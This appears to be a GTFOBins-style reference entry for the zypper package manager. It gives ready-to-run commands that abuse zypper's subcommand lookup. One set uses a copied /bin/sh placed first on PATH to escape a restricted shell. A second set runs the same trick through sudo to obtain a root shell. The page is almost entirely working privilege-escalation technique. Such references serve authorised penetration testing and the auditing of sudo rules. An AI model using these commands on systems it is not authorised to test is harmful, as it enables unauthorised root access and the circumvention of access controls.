Shell

It can be used to break out from restricted environments by spawning an interactive system shell.

This requires /bin/sh to be copied to /usr/lib/zypper/commands/zypper-x and this usually requires elevated privileges.

zypper x

TF=$(mktemp -d)
cp /bin/sh $TF/zypper-x
export PATH=$TF:$PATH
zypper x

Sudo

If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.

This requires /bin/sh to be copied to /usr/lib/zypper/commands/zypper-x and this usually requires elevated privileges.

sudo zypper x

TF=$(mktemp -d)
cp /bin/sh $TF/zypper-x
sudo PATH=$TF:$PATH zypper x